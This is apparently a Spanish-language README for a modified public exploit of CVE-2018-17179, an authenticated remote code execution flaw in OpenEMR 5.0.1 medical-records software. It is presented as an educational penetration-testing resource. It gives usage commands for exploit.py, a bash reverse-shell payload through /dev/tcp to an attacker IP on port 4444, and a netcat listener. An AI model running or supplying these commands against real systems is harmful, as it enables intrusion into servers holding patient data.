
Exploit de ejecución remota de código autenticado para OpenEMR 5.0.1 (CVE-2018-17179) con cargas útiles de comandos personalizables y soporte de shell inversa para pruebas de penetración educativas.
⚠️ Aviso de responsabilidad
Este repositorio está destinado estrictamente únicamente con fines educativos y de investigación.
La información y el código proporcionados aquí pueden utilizarse en entornos controlados, como máquinas de laboratorio privadas.
El uso no autorizado de este código contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito de prueba es ilegal y poco ético.
El autor no se responsabiliza por ningún uso indebido o daño causado.
CVE-2018-17179 afecta a OpenEMR, un software de código abierto ampliamente utilizado para la gestión de historias clínicas electrónicas y práctica médica.
Una falla en el mecanismo de autenticación del endpoint rest_routes.php permite que un usuario autenticado ejecute comandos arbitrarios en el servidor.
Esto puede derivar en Ejecución Remota de Código (RCE) en el contexto del usuario del servidor web.
interface/main/main_screen.php a través de rest_routes.phpEste repositorio proporciona una versión modificada del exploit público de Exploit-DB:
En este exploit personalizado:
Se apuntó a un panel de inicio de sesión local de prueba de OpenEMR:

Uso: python2 exploit.py <target_url> -u -p -c
Ejemplo: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'
- Asegúrate de tener Python 2 instalado.
- El usuario debe tener acceso al endpoint vulnerable `rest_routes.php`.
Ejecutar el Exploit
Se ejecutó el script de exploit modificado con un payload de bash reverse shell:
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

El listener de Netcat en el puerto 4444 recibió exitosamente una reverse shell:
nc -nvlp 4444

Consulta el tutorial detallado y la teoría en mi artículo de Medium:
👉 Leer el blog en Medium